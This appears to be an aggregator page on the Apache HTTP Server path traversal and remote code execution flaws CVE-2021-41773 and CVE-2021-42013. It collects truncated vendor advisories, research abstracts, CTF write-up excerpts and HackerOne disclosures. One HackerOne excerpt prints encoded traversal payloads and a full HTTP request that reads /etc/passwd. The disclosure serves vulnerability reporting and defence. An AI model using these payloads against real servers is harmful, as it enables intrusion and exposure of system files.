Qualys Response to CISA Alert: Binding Operational Directive 22-01
blogs_qualys·2021-11-09
Qualys Response to CISA Alert: Binding Operational Directive 22-01
## Table of Contents
Overview
Directive Scope
CISA Catalog of Known Exploited Vulnerabilities
Detect CISAs Vulnerabilities Using Qualys VMDR
Remediation
Federal Enterprises and Agencies Can Act Now
Summary
Getting Started
Start your VMDR 30-day, no-cost trial today
## Overview
On November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directive 22-01 , “Reducing the Significant Risk of Known Exploited Vulnerabilities.” This directive recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate
Qualys
Qualys Response to CISA Alert: Binding Operational Directive 22-01 | Qualys
blogs_qualys·2021-11-09
Qualys Response to CISA Alert: Binding Operational Directive 22-01 | Qualys
#### Table of Contents
- Overview
- Directive Scope
- CISA Catalog of Known Exploited Vulnerabilities
- Detect CISAs Vulnerabilities Using Qualys VMDR
- Remediation
- Federal Enterprises and Agencies Can Act Now
- Summary
- Getting Started
Start your VMDR 30-day, no-cost trial today
## Overview
On November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a Binding Operational Directive 22-01, “Reducing the Significant Risk of Known Exploited Vulnerabilities.” This directive recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to
Qualys
CVE-2021-41773: Path Traversal & RCE in Apache HTTP Server | Qualys
blogs_qualys·2021-10-28·CVSS 9.8
CVE-2021-41773 [CRITICAL] CVE-2021-41773: Path Traversal & RCE in Apache HTTP Server | Qualys
#### Table of Contents
- About CVE-2021-41773
- About CVE-2021-42013
- Detecting the Vulnerabilities with Qualys WAS
- Report
- Solution
- Credits
- References:
- Contributor
On October 4, 2021, Apache HTTP Server Project released Security advisory on a Path traversal and File disclosure vulnerability in Apache HTTP Server 2.4.49 and 2.4.50 tracked as CVE-2021-41773 and CVE-2021-42013. In the advisory, Apache also highlighted “the issue is known to be exploited in the wild” and later it was identified that the vulnerability can be abused to perform remote code execution. For exploiting both the vulnerabilities Apache HTTP server must be running in non-default configuration.
#### Free Trial
### Get Full Access to the Qualys Cloud Platform Free
Get the Free Trial
As the vulnerabilities
Qualys
Apache HTTP Server Path Traversal & Remote Code Execution (CVE-2021-41773 & CVE-2021-42013)
blogs_qualys·2021-10-28·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache HTTP Server Path Traversal & Remote Code Execution (CVE-2021-41773 & CVE-2021-42013)
## Table of Contents
About CVE-2021-41773
About CVE-2021-42013
Detecting the Vulnerabilities with Qualys WAS
Report
Solution
Credits
References:
Contributor
On October 4, 2021, Apache HTTP Server Project released Security advisory on a Path traversal and File disclosure vulnerability in Apache HTTP Server 2.4.49 and 2.4.50 tracked as CVE-2021-41773 and CVE-2021-42013. In the advisory, Apache also highlighted “the issue is known to be exploited in the wild” and later it was identified that the vulnerability can be abused to perform remote code execution. For exploiting both the vulnerabilities Apache HTTP server must be running in non-default configuration.
## Free Trial
## Get Full Access to the Qualys Cloud Platform Free
As the vulnerabilities are configuration dependent, chec
Checkpoint
11th October – Threat Intelligence Report
blogs_checkpoint·2021-10-11·CVSS 9.8
CVE-2021-26084 [CRITICAL] 11th October – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 11th October – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 11th October, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
UK newspaper & Media outlet The Telegraph has accidently leaked 10 TB of subscribers’ data after leaving an Elasticsearch cluster unsecured. Leakage includes internal logs, names, emails, device type, URL requests, IP addresses, authentication tokens & unique reader identifiers.
Twitch source code and users’ sensitive da
Wiz
Protecting cloud environments from the new critical Apache HTTP Server vulnerability | Wiz Blog
blogs_wiz·2021-10-07·CVSS 9.8
CVE-2021-41773 [CRITICAL] Protecting cloud environments from the new critical Apache HTTP Server vulnerability | Wiz Blog
On October 4, 2021, Apache published a patch to CVE-2021-41773/CVE-2021-42013, a path traversal and file disclosure vulnerability, affecting Apache HTTP Server version 2.4.49. Their report also shared that the vulnerability has been exploited in the wild. Since the publication went live, multiple exploits have been published online, including remote code execution exploits. On October 7, Apache released an updated patch since the first one, version 2.4.50, was insufficient, and assigned CVE-2021-42013 to the original vulnerable patch.
Apache HTTP Server is commonly used as a web server and thus, the impact of the vulnerability in an organization’s environment may be wide reaching, should it be exploited. . We urge Apache HTTP Server users to patch their vulnerable servers as soon as possi
Wiz
Protecting cloud environments from the new critical Apache HTTP Server vulnerability | Wiz Blog
blogs_wiz·2021-10-07·CVSS 9.8
CVE-2021-41773 [CRITICAL] Protecting cloud environments from the new critical Apache HTTP Server vulnerability | Wiz Blog
On October 4, 2021, Apache published a patch to CVE-2021-41773/CVE-2021-42013, a path traversal and file disclosure vulnerability, affecting Apache HTTP Server version 2.4.49. Their report also shared that the vulnerability has been exploited in the wild. Since the publication went live, multiple exploits have been published online, including remote code execution exploits. On October 7, Apache released an updated patch since the first one, version 2.4.50, was insufficient, and assigned CVE-2021-42013 to the original vulnerable patch.
Apache HTTP Server is commonly used as a web server and thus, the impact of the vulnerability in an organization’s environment may be wide reaching, should it be exploited. . We urge Apache HTTP Server users to patch their vulnerable servers as soon as possi
Tenable
CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited
blogs_tenable·2021-10-05·CVSS 9.8
[CRITICAL] CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Greynoiseio
NoiseLetter March 2026
blogs_greynoiseio
NoiseLetter March 2026
Events, events… and yes, even more events. 🌍 GreyNoise has been on the move. March kept us busy with stops at eCrimes in London and SecIT in Hanover—but we’re just getting started. Over the next few months, we’ll be hitting the road for CrowdStrike CrowdTours across eight cities, heading to Glasgow to speak and sponsor CyberUK, and making our way to Tampa for H-ISAC. If you’ll be at any of these (or nearby), we’d love to connect.
And while we’ve been racking up miles, we haven’t slowed down on the research front. We’ve just released some exciting new findings—with even more coming in the next few weeks—so keep an eye out.
Thanks, as always, for being part of the GreyNoise community.
Featured
About this new report
Every enterprise firewall processes traffic from residential IP space. T
Greynoiseio
Path Traversal and Remote Code Execution in Apache HTTP Server (CVE-2021-41773)
blogs_greynoiseio·CVSS 9.8
[CRITICAL] Path Traversal and Remote Code Execution in Apache HTTP Server (CVE-2021-41773)
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Huntress
CVE-2021-41773 Vulnerability: Analysis, Impact, Mitigation | Huntress
blogs_huntress·CVSS 9.8
CVE-2021-41773 [CRITICAL] CVE-2021-41773 Vulnerability: Analysis, Impact, Mitigation | Huntress
## CVE-2021-41773 Vulnerability
Published: 11/21/2025
Written by: Lizzie Danielson
## What is CVE-2021-41773 vulnerability?
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49 that allows attackers to map URLs to files located outside the expected document root. This critical flaw, when exploited, permits remote actors to view sensitive files or execute arbitrary code (in some cases) on vulnerable servers. Its primary risk lies in compromising data confidentiality, integrity, and availability, particularly for organizations using default configurations.
## When was it discovered?
The vulnerability was disclosed on October 5, 2021 . It was initially discovered by security researchers who submitted their findings to Apache's team. A follow-up patch for this vu
arXiv
CyberSleuth: Autonomous Blue-Team LLM Agent for Web Attack Forensics
arxiv_fulltext·2026-03-05
CyberSleuth: Autonomous Blue-Team LLM Agent for Web Attack Forensics
: Autonomous Blue-Team LLM Agent for Web Attack Forensics
Stefano Fumero
Politecnico di Torino
Kai Huang
Politecnico di Torino
Matteo BoffaCorresponding author: [email protected]
Politecnico di Torino
Danilo Giordano
Politecnico di Torino
Marco Mellia
Politecnico di Torino
Dario Rossi
Huawei Technologies France
## Abstract
Post-mortem analysis of compromised systems is a key aspect of cyber forensics, today a mostly manual, slow, and error-prone task. Agentic AI, i.e., LLM-powered agents, is a promising avenue for automation. However, applying such agents to cybersecurity remains largely unexplored and difficult, as this domain demands long-term reasoning, contextual memory, and consistent evidence correlation -- capabilities that current LLM agents struggle to master.
arXiv
Finding Software Supply Chain Attack Paths with Logical Attack Graphs
arxiv_fulltext·2025-11-14
Finding Software Supply Chain Attack Paths with Logical Attack Graphs
Finding Software Supply Chain Attack Paths with Logical Attack Graphs
Luís Soeiro10009-0003-8609-1352
Thomas Robert10000-0002-4423-5720
Stefano Zacchiroli10000-0002-4576-136X
L. Soeiro et al.
LTCI, Télécom Paris, Institut Polytechnique
de Paris, France
https://www.ip-paris.fr
\luis.soeiro,thomas.robert,stefano.zacchiroli\@telecom-paris.fr
## Abstract
Cyberattacks are becoming increasingly frequent and sophisticated,
often exploiting the software supply chain (SSC) as an attack vector.
Attack graphs provide a detailed representation of the sequence of
events and vulnerabilities that could lead to a successful security
breach in a system. MulVal is a widely used open-source tool for
logical attack graph generation in networked systems. However, its
current lack of support for capturing a
arXiv
PACEbench: A Framework for Evaluating Practical AI Cyber-Exploitation Capabilities
arxiv_fulltext·2025-10-13
PACEbench: A Framework for Evaluating Practical AI Cyber-Exploitation Capabilities
fancy
## Abstract
The increasing autonomy of Large Language Models (LLMs) necessitates a rigorous evaluation of their potential to aid in cyber offense. Existing benchmarks often lack real-world complexity and are thus unable to accurately assess LLMs' cybersecurity capabilities. To address this gap, we introduce PACEbench, a practical AI cyber-exploitation benchmark built on the principles of realistic vulnerability difficulty, environmental complexity, and cyber defenses. Specifically, PACEbench comprises four scenarios spanning single, blended, chained, and defense vulnerability exploitations. To handle these complex challenges, we propose PACEagent, a novel agent that emulates human penetration testers by supporting multi-phase reconnaissance, analysis, and exploitation.
Extensive ex
arXiv
Automating Function-Level TARA for Automotive Full-Lifecycle Security
arxiv_fulltext·2025-04-25
Automating Function-Level TARA for Automotive Full-Lifecycle Security
Automating Function-Level TARA for Automotive Full-Lifecycle Security
Yuqiao Yang#
UESTC
[email protected]
Yongzhao Zhang#
UESTC
[email protected]
Wenhao Liu
GoGoByte Technology
[email protected]
Jun Li
GoGoByte Technology
[email protected]
Pengtao Shi
GoGoByte Technology
[email protected]
DingYu Zhong
UESTC
[email protected]
Jie Yang*
UESTC
[email protected]
Ting Chen*
UESTC
[email protected]
Sheng Cao
UESTC
[email protected]
Yuntao Ren
Chengdu Anheng Information
Technology Co., LTD
[email protected]
Yongyue Wu
Anheng Vision(Chengdu) Information
Technology Co., LTD
[email protected]
Xiaosong Zhang
UESTC
[email protected]
#1
[1] red#1
[1] blue#1
[1] brown#1
DefenseWeaver
## Abstract
As modern vehicles evolve
arXiv
VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
arxiv_fulltext·2025-02-16
VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
VulRG: Multi-Level Explainable Vulnerability Patch Ranking for Complex Systems Using Graphs
Yuning Jiang
[email protected]
0000-0003-4791-8452
National University of Singapore
Singapore
Nay Oo
[email protected]
NCS Cyber Special Ops R&D
Singapore
Qiaoran Meng
[email protected]
National University of Singapore
Singapore
Hoon Wei Lim
[email protected]
NCS Cyber Special Ops R&D
Singapore
Biplab Sikdar
[email protected]
National University of Singapore
Singapore
Jiang et al.
## Abstract
As interconnected systems proliferate, safeguarding complex infrastructures against an escalating array of cyber threats has become an urgent challenge. The growing number of vulnerabilities, coupled with resource constraints, makes addressing every vulnerability impractical, thereby rende
CTF
metasploit-ctf-2021 / readme
ctf_writeups·2021·CVSS 9.8
[CRITICAL] metasploit-ctf-2021 / readme
# Metasploit CTF 2021
Managed to get 17th this time. Not too bad, but no prizes. There were three flags I didn't manage to find: I had the right approach for 15010 but the wrong wordlists apparently, the SSH server on 15122 relied on apparently guessing that the target would connect back to your jump host, which I did not guess, and the reversing challenge required expertise in a technology I did not possess and could not get in the time available :)
Other than that though, very fun! Nice to do some request smuggling, in particular.
## 80 - 4_of_hearts
just on the home page
## 443 - 2_of_spades
nmap detected a git repo
git-dumper retrieved it,
earliest commit contained a .env file with the flag name,
this could then be retrieved from the main site
## 8080 - 9_of_diamonds
website us
CTF
medium / README
ctf_writeups·CVSS 9.1
[CRITICAL] medium / README
---
layout: default
title: Medium Machines
parent: Machines
nav_order: 2
description: "112+ Medium HTB machine writeups with walkthroughs"
permalink: /machines/medium/
---
# HackTheBox - Medium Machines
> Comprehensive index of retired HTB Medium-difficulty machines with key techniques and attack path summaries.
**Total: 100+ machines** | Sorted roughly by retirement date (newest first)
---
## Machine Index
| # | Machine | OS | Key Techniques | Attack Path Summary | Writeup |
|---|---------|-----|----------------|---------------------|---------|
| 1 | Signed | Linux | Code Signing Bypass, Certificate Abuse | Forge code signature to deploy malicious update, escalate via trusted binary execution | [0xdf](https://0xdf.gitlab.io/2026/02/07/htb-signed.html) |
| 2 | Voleur | Linux | Data E
HackerOne
Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50
hackerone·2021-11-19
[CRITICAL] Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50
Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.50
Hello Apache team,
@fms and myself were able to bypass the latest patch for CVE 2021-41773 in the Apache 2.4.50.
These are the payloads:
1) %%32%65%%32%65
2) .%%32%65
3) .%%32e
4) .%2%65
PoC Path Traversal
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: localhost:83
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec
HackerOne
Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
hackerone·2021-11-19·CVSS 9.8
CVE-2021-41773 [CRITICAL] Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives.
This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
-
My friend Juan Escobar @itsecurityco and me (Fernando Munoz) reported this internally to Apache HTTPd project and worked with them to test the new patch before the new version was released.
## Impact
If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts ar
http://jvn.jp/en/jp/JVN51106450/index.htmlhttp://packetstormsecurity.com/files/164501/Apache-HTTP-Server-2.4.50-Path-Traversal-Code-Execution.htmlhttp://packetstormsecurity.com/files/164609/Apache-HTTP-Server-2.4.50-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/164629/Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/164941/Apache-HTTP-Server-2.4.50-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/165089/Apache-HTTP-Server-2.4.50-CVE-2021-42013-Exploitation.htmlhttp://packetstormsecurity.com/files/167397/Apache-2.4.50-Remote-Code-Execution.htmlhttp://www.openwall.com/lists/oss-security/2021/10/07/6http://www.openwall.com/lists/oss-security/2021/10/08/1http://www.openwall.com/lists/oss-security/2021/10/08/2http://www.openwall.com/lists/oss-security/2021/10/08/3http://www.openwall.com/lists/oss-security/2021/10/08/4http://www.openwall.com/lists/oss-security/2021/10/08/5http://www.openwall.com/lists/oss-security/2021/10/08/6http://www.openwall.com/lists/oss-security/2021/10/09/1http://www.openwall.com/lists/oss-security/2021/10/11/4http://www.openwall.com/lists/oss-security/2021/10/15/3http://www.openwall.com/lists/oss-security/2021/10/16/1https://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r17a4c6ce9aff662efd9459e9d1850ab4a611cb23392fc68264c72cb3%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r7c795cd45a3384d4d27e57618a215b0ed19cb6ca8eb070061ad5d837%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/rb5b0e46f179f60b0c70204656bc52fcb558e961cb4d06a971e9e3efb%40%3Cusers.httpd.apache.org%3Ehttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RMIIEFINL6FUIOPD2A3M5XC6DH45Y3CC/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WS5RVHOIIRECG65ZBTZY7IEJVWQSQPG3/https://security.gentoo.org/glsa/202208-20https://security.netapp.com/advisory/ntap-20211029-0009/https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZhttps://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.povilaika.com/apache-2-4-50-exploit/http://jvn.jp/en/jp/JVN51106450/index.htmlhttp://packetstormsecurity.com/files/164501/Apache-HTTP-Server-2.4.50-Path-Traversal-Code-Execution.htmlhttp://packetstormsecurity.com/files/164609/Apache-HTTP-Server-2.4.50-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/164629/Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/164941/Apache-HTTP-Server-2.4.50-Remote-Code-Execution.htmlhttp://packetstormsecurity.com/files/165089/Apache-HTTP-Server-2.4.50-CVE-2021-42013-Exploitation.htmlhttp://packetstormsecurity.com/files/167397/Apache-2.4.50-Remote-Code-Execution.htmlhttp://www.openwall.com/lists/oss-security/2021/10/07/6http://www.openwall.com/lists/oss-security/2021/10/08/1http://www.openwall.com/lists/oss-security/2021/10/08/2http://www.openwall.com/lists/oss-security/2021/10/08/3http://www.openwall.com/lists/oss-security/2021/10/08/4http://www.openwall.com/lists/oss-security/2021/10/08/5http://www.openwall.com/lists/oss-security/2021/10/08/6http://www.openwall.com/lists/oss-security/2021/10/09/1http://www.openwall.com/lists/oss-security/2021/10/11/4http://www.openwall.com/lists/oss-security/2021/10/15/3http://www.openwall.com/lists/oss-security/2021/10/16/1https://httpd.apache.org/security/vulnerabilities_24.htmlhttps://lists.apache.org/thread.html/r17a4c6ce9aff662efd9459e9d1850ab4a611cb23392fc68264c72cb3%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r7c795cd45a3384d4d27e57618a215b0ed19cb6ca8eb070061ad5d837%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/rb5b0e46f179f60b0c70204656bc52fcb558e961cb4d06a971e9e3efb%40%3Cusers.httpd.apache.org%3Ehttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RMIIEFINL6FUIOPD2A3M5XC6DH45Y3CC/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WS5RVHOIIRECG65ZBTZY7IEJVWQSQPG3/https://security.gentoo.org/glsa/202208-20https://security.netapp.com/advisory/ntap-20211029-0009/https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZhttps://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.povilaika.com/apache-2-4-50-exploit/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-42013
2021-10-07
Published
2021-11-03
Added to CISA KEV
Exploited in the wild